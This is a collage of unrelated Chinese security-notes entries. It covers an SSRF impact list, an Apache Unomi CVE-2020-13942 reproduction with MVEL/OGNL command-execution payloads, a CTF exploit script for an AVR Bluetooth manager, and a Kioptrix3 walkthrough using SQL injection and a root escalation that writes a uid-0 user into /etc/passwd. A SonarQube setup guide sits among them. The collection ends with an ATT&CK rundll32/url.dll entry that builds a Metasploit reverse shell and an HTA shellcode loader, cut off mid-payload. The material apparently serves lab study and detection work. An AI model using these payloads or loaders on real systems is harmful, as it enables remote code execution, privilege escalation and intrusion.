ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
## 危害
* 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
* 攻击运行在内网或本地的应用程序(比如溢出);
* 对内网web应用进行指纹识别,通过访问默认文件实现;
* 攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
* 利用file协议读取本地文件等。
## 参考资料
- [《Build Your SSRF EXP Autowork》猪猪侠](http://tools.40huo.cn/#!papers.md)
- [腾讯某处 SSRF 漏洞(非常好的利用点)附利用脚本](https://_thorns.gitbooks.io/sec/content/teng_xun_mou_chu_ssrf_lou_6d1e28_fei_chang_hao_de_.html)
- [bilibili 某分站从信息泄露到 ssrf 再到命令执行](https://_thorns.gitbooks.io/sec/content/bilibilimou_fen_zhan_cong_xin_xi_xie_lu_dao_ssrf_z.html)
|
sec-knowleage
|
# Apache Unomi 远程表达式代码执行漏洞(CVE-2020-13942)
Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。
参考链接:
- https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
- https://github.com/eugenebmx/CVE-2020-13942
## 环境搭建
运行如下命令启动一个Apache Unomi 1.5.1的服务器:
```
docker compose up -d
```
环境启动后,通过`http://your-ip:8181`或`https://your-ip:9443`即可访问到Unomi的API。
## 漏洞复现
通过8181和9443两个端口均可触发漏洞,以下以8181为例。
通过MVEL表达式执行任意命令:
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 483
{
"filters": [
{
"id": "sample",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "sample"
}
```
通过OGNL表达式执行任意命令:
```
POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064
{
"personalizations":[
{
"id":"gender-test",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
"comparisonOperator":"equals",
"propertyValue":"male"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"sample"
}
```
进入容器,可见命令已执行成功:

|
sec-knowleage
|
# Bluetooth Device Manager, Exp, 200pts
> You have a basic car model and would like to enable some extra features? That navigation with traffic should be neat. Right. It is expensive, you know. Or not, if you can access the control interface. Try bluetooth this time. We think, it could be used for purposes other than making calls and playing MP3s.
Final solver:
```python
#!/usr/bin/python2
from pwn import *
def attack(connection):
def send(bytes):
for byte in bytes:
connection.send(byte)
connection.recvuntil(byte)
def cmd_print():
connection.recvuntil("5. Exit\n")
send("1\n")
result = connection.recvuntil("Choose one of the following: \n")
return result
def cmd_add_device(name, key):
connection.recvuntil("5. Exit\n")
send("2\n")
connection.recvuntil("Enter device name: \n")
send("{:s}\n".format(name))
connection.recvuntil("Enter pairing key: \n")
send("{:s}\n".format(key))
def cmd_modify_device(id, name, key):
connection.recvuntil("5. Exit\n")
send("4\n")
connection.recvuntil("Enter number of device: ")
send("{:d}\n".format(id))
connection.recvuntil("Enter new name: ")
send("{:s}\n".format(name))
if key is not None:
connection.recvuntil("Enter new key: ")
send("{:s}\n".format(key))
def cmd_remove_device(id):
connection.recvuntil("5. Exit\n")
send("3\n")
connection.recvuntil("Enter number of device: ")
send("{:d}\n".format(id))
cmd_add_device("AAA", "BBB")
cmd_add_device("C" * 0x0b, "DDD")
cmd_modify_device(0, "EEEE" + p16(0x1f), None)
cmd_remove_device(0)
buffer = StringIO()
buffer.write(p8(1))
buffer.write("F" * 4)
buffer.write(p16(0x2289))
buffer.write(p16(0x2030))
buffer.write(p16(0x2290))
cmd_add_device(buffer.getvalue(), "GGG")
def write_memory(va, bytes):
buffer = StringIO()
buffer.write(p16(va))
buffer.write(p16(0x2290))
cmd_modify_device(1, buffer.getvalue(), bytes)
def read_memory(va):
buffer = StringIO()
buffer.write(p16(va))
buffer.write(p16(0x2290))
write_memory(0x2289, buffer.getvalue())
response = cmd_print()
chunks = list()
for byte in buffer.getvalue():
if byte == "\x00":
break
chunks.append("\\x{:02x}".format(ord(byte)))
name = "".join(chunks)
match = re.match("^1\\. name: {0}, key: (?P<bytes>.*)\n2\\. name: \\x01FFFF\\x89\\x22{0}, key: GGG\nChoose one of the following: \n$".format(name), response, re.DOTALL)
bytes = match.group("bytes")
bytes += "\x00"
info("read_memory(%04x) => %s", va, bytes.encode("hex"))
return bytes
sp = u16(read_memory(0x3fd9)[: 2])
info("sp = %04x", sp)
if read_memory(sp - 3) != "\x00":
raise Exception
if read_memory(sp - 2)[: 2] != "\x06\x13":
raise Exception
write_memory(0x2000, "\x0d\xf0\xad\xba\xa0\x08")
context.log_level = "debug"
write_memory(sp - 2, "\x01\x82")
connection.recvuntil("FIXME")
#ith process(["/mnt/rhme3/dev/simavr/simavr/run_avr", "-m", "atmega2560", "-f", "1000000", "bluetooth_device_manager.hex"]) as connection:
with serialtube(port = sys.argv[1], baudrate = 115200, convert_newlines = False) as connection:
attack(connection)
```
|
sec-knowleage
|
# Kioptrix3-WalkThrough
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**靶机地址**
- https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
**Description**
It's been a while since the last Kioptrix VM challenge. Life keeps getting the way of these things you know.
After the seeing the number of downloads for the last two, and the numerous videos showing ways to beat these challenges. I felt that 1.2 (or just level 3) needed to come out. Thank you to all that downloaded and played the first two. And thank you to the ones that took the time to produce video solutions of them. Greatly appreciated.
As with the other two, this challenge is geared towards the beginner. It is however different. Added a few more steps and a new skill set is required. Still being the realm of the beginner I must add. The same as the others, there’s more then one way to “pwn” this one. There’s easy and not so easy. Remember… the sense of “easy” or “difficult” is always relative to ones own skill level. I never said these things were exceptionally hard or difficult, but we all need to start somewhere. And let me tell you, making these vulnerable VMs is not as easy as it looks…
Important thing with this challenge. Once you find the IP (DHCP Client) edit your hosts file and point it to kioptrix3.com
Under Windows, you would edit C:\Windows\System32\drivers\etc\hosts to look something like this:
```
# localhost name resolution is handled within DNS itself.
# 127.0.0.1 localhost
# ::1 localhost127.0.0.1 static3.cdn.ubi.com
192.168.1.102 kioptrix3.com
```
Under Linux that would be /etc/hosts
There’s a web application involved, so to have everything nice and properly displayed you really need to this.
Hope you enjoy Kioptrix VM Level 1.2 challenge.
452 Megs
MD5 Hash : d324ffadd8e3efc1f96447eec51901f2
Have fun
Source: http://www.kioptrix.com/blog/?p=358
**知识点**
- SQL 注入
- ht 提权
**实验环境**
`环境仅供参考`
- VMware® Workstation 15 Pro - 15.0.0 build-10134415
- kali : NAT 模式,192.168.141.134
- 靶机 : NAT 模式
---
# 前期-信息收集
开始进行 IP 探活
```bash
nmap -sP 192.168.141.0/24
```
排除法,去掉自己、宿主机、网关, `192.168.141.146` 就是目标了
扫描开放端口
```bash
nmap -T5 -A -v -p- 192.168.141.146
```
SSH 和 web,从 web 先入手,先按照要求修改 hosts 文件,访问 web 看看
```bash
echo "192.168.141.146 kioptrix3.com" >> /etc/hosts
```
看上去是用 lotusCMS 搭建的,先目录扫描看下
```
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://kioptrix3.com/FUZZ | grep 301
```
有个 phpmyadmin,访问看看
2.11.3 版本有个 CVE-2009-1151,实际测试并不能利用成功,没办法了,从其他地方入手吧
---
# 中期-漏洞利用
注意到主页下面有个链接指向 `http://kioptrix3.com/gallery/`
发现这里可以进行排序,对 id 参数测试 SQL 注入
这里可能存在 SQL 注入,直接 Sqlmap 跑起来
```
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1%27 --current-db
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1%27 -D gallery --tables
sqlmap -u http://kioptrix3.com/gallery/gallery.php?id=1%27 -D gallery -T dev_accounts --dump
```
```
| 1 | dreg | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) |
| 2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
```
可以看到跑出2个账号组合,测试了一下,不能登录 web,想到之前扫出的 SSH,试了下登录成功,2个都可以登录
---
# 后期-提权
dreg 账号实在是没什么可利用的,loneferret 账号下有一些利用的点
```
sudo -l
```
ht 是一个文本编辑器,尝试用它来提权
```
sudo ht /etc/passwd
```
提示我需要设置 xtrem-color
```
export TERM=xterm-color
sudo ht /etc/passwd
```
实际上这里我是一脸懵逼的,这玩意咋整啊
按 F3,打开文件,输入 /etc/passwd ,回车
最末尾加上
```
test:sXuCKi7k3Xh/s:0:0::/root:/bin/bash
```
按 F10,退出,记得保存
```
su test
toor
```
提权成功,感谢 Kioptrix Team 制作靶机
|
sec-knowleage
|
# SonarQube
开源代码质量管理工具。
[官网地址](https://www.sonarqube.org/)
[官方文档](https://docs.sonarqube.org/display/SONAR/Documentation/)
## SonarQube安装与使用
### Centos7安装SonarQube
> 数据库不要使用mariadb
>
> 不要使用root进行安装,es会提示"can not run elasticsearch as root"
* **解决依赖**
```
# 安装jvm环境
yum install java-1.8.0-openjdk.x86_64 java-1.8.0-openjdk-devel.x86_64 -y
# 安装数据库
wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm
rpm -ivh mysql57-community-release-el7-10.noarch.rpm
yum install mysql-community-server.x86_64 -y
# 配置数据库
systemctl start mysqld.service
# 数据库初始密码
grep "password" /var/log/mysqld.log
# 修改数据库密码
ALTER USER 'root'@'localhost' IDENTIFIED BY 'new password';
# 创建数据库sonar
create database sonar;
```
* **安装SonarQube**
```
# 下载,从这里开始应该使用普通用户操作
wget https://binaries.sonarsource.com/Distribution/sonarqube/sonarqube-7.3.zip
# 解压
unzip sonarqube-7.3.zip
# 启动sonarqube
cd sonarqube-7.3/
./bin/linux-x86-64/sonar.sh start
# 访问:http://10.10.10.5:9000/sessions/new
# 账号:admin 密码:admin
```

### 配置SonarQube
* **配置数据库**
```
vim ./conf/sonar.properties
# 注释如下三行,并添加数据库账号密码
```
```
sonar.jdbc.username=root
sonar.jdbc.password=password
sonar.jdbc.url=jdbc:mysql://localhost:3306/sonar?useUnicode=true&characterEncoding=utf8&rewriteBatchedStatements=true&useConfigs=maxPerformance&useSSL=false
```

```
# 重启服务
./bin/linux-x86-64/sonar.sh restart
```
* **汉化**
在Administration菜单栏,选择Marketplace标题,在搜索框输入chinese进行搜索,然后进行安装

安装完成后重启

## SonarQube Scanner
### SonarQube Scanner安装
```
# 下载
wget https://binaries.sonarsource.com/Distribution/sonar-scanner-cli/sonar-scanner-cli-3.2.0.1227-linux.zip
# 解压
unzip sonar-scanner-cli-3.2.0.1227-linux.zip
# 添加环境变量
cd sonar-scanner-3.2.0.1227-linux/
vim /etc/profile
```
```
export SONAR_SCANNER_HOME=/home/bloodzer0/sonar-scanner-3.2.0.1227-linux
export PATH=$PATH:$SONAR_SCANNER_HOME/bin
```
```
source /etc/profile
# 验证安装
sonar-scanner -v
```

### SonarQube Scanner执行分析
token在Web页面生成,点击项目--分析新项目。

* **JS、Python、PHP等语言**
```
sonar-scanner \
-Dsonar.projectKey=security-test \
-Dsonar.sources=. \
-Dsonar.host.url=http://10.10.10.5:9000 \
-Dsonar.login=token
```
* **测试分析sqlmap代码**
```
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
# 执行上面的代码
# 分析完成后,在web界面查看分析结果
```

* **Java-Maven**
```
mvn sonar:sonar \
-Dsonar.host.url=http://10.10.10.5:9000 \
-Dsonar.login=token
```
* **Java-Gradle**
```
# 在build.gradle文件中声明
plugins {
id "org.sonarqube" version "2.6"
}
# 然后执行命令
./gradlew sonarqube \
-Dsonar.host.url=http://192.168.199.5:9000 \
-Dsonar.login=token
```
* **C# 或 VB.NET**
```
SonarScanner.MSBuild.exe begin /k:"test" /d:sonar.host.url="http://192.168.199.5:9000" /d:sonar.login="token"
MsBuild.exe /t:Rebuild
SonarScanner.MSBuild.exe end /d:sonar.login="token"
```
* **使用配置文件进行扫描**
在项目目录新建sonar-project.properties文件
```
# must be unique in a given SonarQube instance
sonar.projectKey=my:project
# this is the name and version displayed in the SonarQube UI. Was mandatory prior to SonarQube 6.1.
sonar.projectName=My project
sonar.projectVersion=1.0
# Path is relative to the sonar-project.properties file. Replace "\" by "/" on Windows.
# This property is optional if sonar.modules is set.
sonar.sources=.
# Encoding of the source code. Default is default system encoding
#sonar.sourceEncoding=UTF-8
```
|
sec-knowleage
|
# T1218-011-win-基于白名单url.dll执行payload
## 来自ATT&CK的描述
Rundll32.exe程序可以调用来执行任意二进制文件。攻击者可能会利用此功能来代理执行代码,从而避免触发那些可能不会监控rundll32.exe进程执行的安全工具,因为正常操作中使用rundll32.exe的Windows会有白名单或误报。
Rundll32.exe可用于通过未记录的shell32.dll函数Control_RunDLL和 Control_RunDLLAsUser来执行控制面板项目文件(.cpl)。双击.cpl文件也会触发rundll32.exe执行。
Rundll32也可用于执行JavaScript等脚本。可以使用类似于下面的语法来完成:rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" 。这种方法已被恶意软件如Poweliks所使用。
## 测试案例
url.dll是Internet快捷壳扩展相关应用程序接口系统文件。
说明:url.dll所在路径已被系统添加PATH环境变量中,因此,url.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。
Windows 2003 默认位置:
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
Windows 7 默认位置:
C:\Windows\System32\url.dll
C:\Windows\SysWOW64\url.dll
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。
## 检测日志
windows 安全日志(需要自行配置)
## 测试复现
### 环境准备
攻击机:Kali2019
靶机:win7(sysmon日志)
### 攻击分析
#### 配置MSF
```bash
msf5 exploit(multi/handler) > back
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
```
#### 靶机执行shell.bin
```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f raw > shell.bin
cat shell.bin |base64 -w 0
```
#### 替换payload
将生成的payload复制到code处。保存为shell.hta
```hta
<script language="VBScript">
Dim binary : binary ="rundll32.exe"
Dim code : code ="payload"//payload插入
Sub Debug(s)
End Sub
Sub SetVersion
End Sub
Function Base64ToStream(b)
Dim enc, length, ba, transform, ms
Set enc = CreateObject("System.Text.ASCIIEncoding")
length = enc.GetByteCount_2(b)
Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
Set ms = CreateObject("System.IO.MemoryStream")
ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b),0, length),0,((length /4)*3)
ms.Position =0
Set Base64ToStream = ms
End Function
Sub Run
Dim s, entry_class
s ="AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"
s = s &"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"
s = s &"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"
s = s &"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"
s = s &"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"
s = s &"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"
s = s &"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"
s = s &"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"
s = s &"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"
s = s &"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"
s = s &"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAA"
s = s &"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"
s = s &"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"
s = s &"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"
s = s &"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9u"
s = s &"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"
s = s &"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"
s = s &"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0ludm9rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"
s = s &"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"
s = s &"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"
s = s &"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"
s = s &"ZW1ibHkGFwAAAARMb2FkCg8MAAAAAB4AAAJNWpAAAwAAAAQAAAD//wAAuAAAAAAAAABAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DgC0Cc0huAFMzSFUaGlzIHByb2dy"
s = s &"YW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQokAAAAAAAAAFBFAABMAQMAkNhXWQAAAAAA"
s = s &"AAAA4AAiIAsBMAAAFgAAAAYAAAAAAAByNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAAQA"
s = s &"AAAAAAAAAIAAAAACAAAAAAAAAwBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAIDUA"
s = s &"AE8AAAAAQAAAkAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIAAAAAAAAAAAAAAAIIAAASAAAAAAAAAAA"
s = s &"AAAALnRleHQAAAB4FQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAAIAAAYC5yc3JjAAAAkAMAAABA"
s = s &"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAAwAAAAAYAAAAAIAAAAcAAAAAAAAAAAA"
s = s &"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQ1AAAAAAAASAAAAAIABQD4IQAAKBMAAAEAAAAAAAAA"
s = s &"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgIoDwAACioT"
s = s &"MAoABwEAAAEAABEEKBAAAAoKEgEGjmkoEQAACnMJAAAGDAgWfTUAAARyAQAAcBMEcgMAAHAoEgAA"
s = s &"Cm8TAAAKFjEZch0AAHAoEgAACnIrAABwAygUAAAKEwQrF3IdAABwKBIAAApyQQAAcAMoFAAAChME"
s = s &"EQQUFBQXGn4VAAAKFAgSAygBAAAGJgl7BAAABBMFEgUoFgAACnJXAABwKBcAAAosbhEFFnMRAAAK"
s = s &"ByAAMAAAH0AoAgAABhMGEgYoFgAACnJXAABwKBgAAAosChEFFigEAAAGJioWEwcSCAaOaSgRAAAK"
s = s &"EQURBgYRCBEHKAMAAAYmEQUWcxEAAAoWEQYWcxEAAAoWFnMRAAAKKAUAAAYmKnoCfhUAAAp9AgAA"
s = s &"BAIoDwAACgICKBkAAAp9AQAABCoAABMwAgBgAAAAAAAAAAJ+FQAACn0rAAAEAn4VAAAKfSwAAAQC"
s = s &"fhUAAAp9LQAABAJ+FQAACn04AAAEAn4VAAAKfTkAAAQCfhUAAAp9OgAABAJ+FQAACn07AAAEAigP"
s = s &"AAAKAgIoGQAACn0qAAAEKkJTSkIBAAEAAAAAAAwAAAB2Mi4wLjUwNzI3AAAAAAUAbAAAACgHAAAj"
s = s &"fgAAlAcAAEwJAAAjU3RyaW5ncwAAAADgEAAAXAAAACNVUwA8EQAAEAAAACNHVUlEAAAATBEAANwB"
s = s &"AAAjQmxvYgAAAAAAAAACAAABVx0CFAkCAAAA+gEzABYAAAEAAAAXAAAACQAAAFAAAAAJAAAAHwAA"
s = s &"ABkAAAAzAAAAEgAAAAEAAAABAAAABQAAAAEAAAABAAAABwAAAAAAmQYBAAAAAAAGAFwFkgcGAMkF"
s = s &"kgcGAIoEYAcPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHwF4QYGAJUF4QYGAMkE4QYG"
s = s &"AJ4EcwcGAHwEcwcGAPQE4QYGAKsIqQYGAGEEqQYGAE0FqQYGALAGqQYGAMoIqQYGAFkHqQYGAL4I"
s = s &"qQYGAGYGqQYGAIQGcwcAAAAAJQAAAAAAAQABAAEAEABtBgAAPQABAAEACgAQAPgHAAA9AAEACAAK"
s = s &"ARAAzgYAAEEABAAJAAIBAAAbCAAASQAIAAkAAgEAADYIAABJACcACQAKABAABgcAAD0AKgAJAAIB"
s = s &"AABtBAAASQA8AAoAAgEAAPMGAABJAEUACgAGAH0G+gAGAEQHPwAGACQE/QAGAHQIPwAGAOcDPwAG"
s = s &"AMgD+gAGAL0D+gAGBp4DAAFWgLICAwFWgMACAwFWgGQAAwFWgIgCAwFWgMIAAwFWgFMCAwFWgPEB"
s = s &"AwFWgB0CAwFWgAUCAwFWgKABAwFWgAIDAwFWgF4BAwFWgEgBAwFWgOEBAwFWgE0CAwFWgDECAwFW"
s = s &"gGoDAwFWgIIDAwFWgJkCAwFWgB0DAwFWgHYBAwFWgHUAAwFWgD0AAwFWgCcBAwFWgKgAAwFWgDoD"
s = s &"AwFWgLkBAwFWgBgBAwFWgMYBAwFWgOUCAwEGBp4DAAFWgJEABwFWgHICBwEGAKYD+gAGAO8DPwAG"
s = s &"ABcHPwAGADMEPwAGAEsD+gAGAJoD+gAGAOcF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGAC4I"
s = s &"+gAGAOcICwEGAA0ACwEGABkAPwAGANIIPwAGANwIPwAGADQHPwAGBp4DAAFWgN4CDgFWgO8ADgFW"
s = s &"gJ0BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgJQBDgFWgAMBDgEGBp4DAAFWgOcAEgFWgFcAEgFWgNUA"
s = s &"EgFWgFgDEgFWgGkCEgFWgE8DEgFWgN0AEgFWgGADEgFWgBEGEgFWgCQGEgFWgDkGEgEAAAAAgACW"
s = s &"IC4AFgEBAAAAAACAAJYg8wgqAQsAAAAAAIAAliAJCTUBEAAAAAAAgACWIGMIPwEVAAAAAACAAJEg"
s = s &"1ANFARcAUCAAAAAAhhg+BwYAHgBYIAAAAACGAE0EUAEeAGshAAAAAIYYPgcGACAAjCEAAAAAhhg+"
s = s &"BwYAIAAAAAEAOwQAAAIAUwQAAAMA5AcAAAQA0QcAAAUAwQcAAAYACwgAAAcAvAgAAAgAHAkBAAkA"
s = s &"BAcCAAoAzAYAAAEAGwQAAAIAiwgAAAMAAwYAAAQAawQAAAUAsggAAAEAdAgAAAIAfQgAAAMAIQcA"
s = s &"AAQAAwYAAAUAtQYAAAEAdAgAAAIA+gMAAAEAdAgAAAIA0QcAAAMA9wUAAAQAlQgAAAUAKAcAAAYA"
s = s &"CwgAAAcAsgMAAAEAAgkAAAIAAQAJAD4HAQARAD4HBgAZAD4HCgApAD4HEAAxAD4HEAA5AD4HEABB"
s = s &"AD4HEABJAD4HEABRAD4HEABZAD4HEABhAD4HFQBpAD4HEABxAD4HEACJAD4HBgB5AD4HBgCZAFMG"
s = s &"KQChAD4HAQCpAAQELwCxAHkGNACxAKQIOAChABIHPwChAGQGQgCxADsJRgCxAC8JRgC5AAoGTAAJ"
s = s &"ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA"
s = s &"hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ"
s = s &"AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA"
s = s &"5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ"
s = s &"AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB"
s = s &"aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu"
s = s &"ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA"
s = s &"WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB"
s = s &"AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA"
s = s &"AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN"
s = s &"b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S"
s = s &"RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU"
s = s &"RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP"
s = s &"TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB"
s = s &"VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF"
s = s &"VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT"
s = s &"X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP"
